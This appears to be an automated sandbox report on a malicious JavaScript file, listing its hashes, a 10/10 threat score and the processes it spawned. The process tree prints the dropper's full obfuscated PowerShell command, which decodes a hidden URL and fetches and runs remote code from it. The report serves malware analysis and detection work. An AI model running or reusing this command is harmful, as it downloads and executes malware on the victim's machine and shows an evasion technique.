Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 14:50
General
-
Target
9b0486b8047a9aa510a5b9d324a02e1039c178342690201da2b26ebad8265ad3.js
-
Size
201KB
-
MD5
9a49ba343c891aff5391cd0ae291e37f
-
SHA1
e24cd037b734afab053beec56160a06bcd8c66e1
-
SHA256
9b0486b8047a9aa510a5b9d324a02e1039c178342690201da2b26ebad8265ad3
-
SHA512
0e7dd2055308afe62d43388a40e4b97075a9317b1b94bd74cdeee88e11e22630a3868d59ee2fad4bb704a4965242c95243c7862e8dd9dfbbaf72613785e671d2
-
SSDEEP
1536:nwHi8BJQbeYCJHwax8nUV0YAlWZCr65lvxSs8v6BJQbeYCJHwax8nUHYAlWZCr6F:nfyPiy8ZyP7y8ay8dyPKyPC
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\9b0486b8047a9aa510a5b9d324a02e1039c178342690201da2b26ebad8265ad3.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $azqnbdofwlt='ur' ;new-alias printout c$($azqnbdofwlt)l;$jdwrfqinuelt=(1543,1554,1562,1546,1548,1543,1563,1562,1567,1500,1562,1496,1543,1491,1561,1556,1557,1492,1494,1491,1557,1549,1557,1508,1560,1506,1554,1550,1555,1561,1560,1495,1494);$ucpqoltaehvbmk=('bronx','get-cmdlet');$srqziepjkhbyvx=$jdwrfqinuelt;foreach($uwglnrizxs in $srqziepjkhbyvx){$hwruaqsdcxi=$uwglnrizxs;$tvkpdhrsnba=$tvkpdhrsnba+[char]($hwruaqsdcxi-1445);$sgdtjfvemplrck=$tvkpdhrsnba; $ubrzyqv=$sgdtjfvemplrck};$oefsrvht[2]=$ubrzyqv;$infutvxwmhqbjr='rl';$lnvmsegtdkr=1;.$([char](9992-9887)+'e'+'x')(printout -useb $ubrzyqv)1⤵
- Process spawned unexpected child process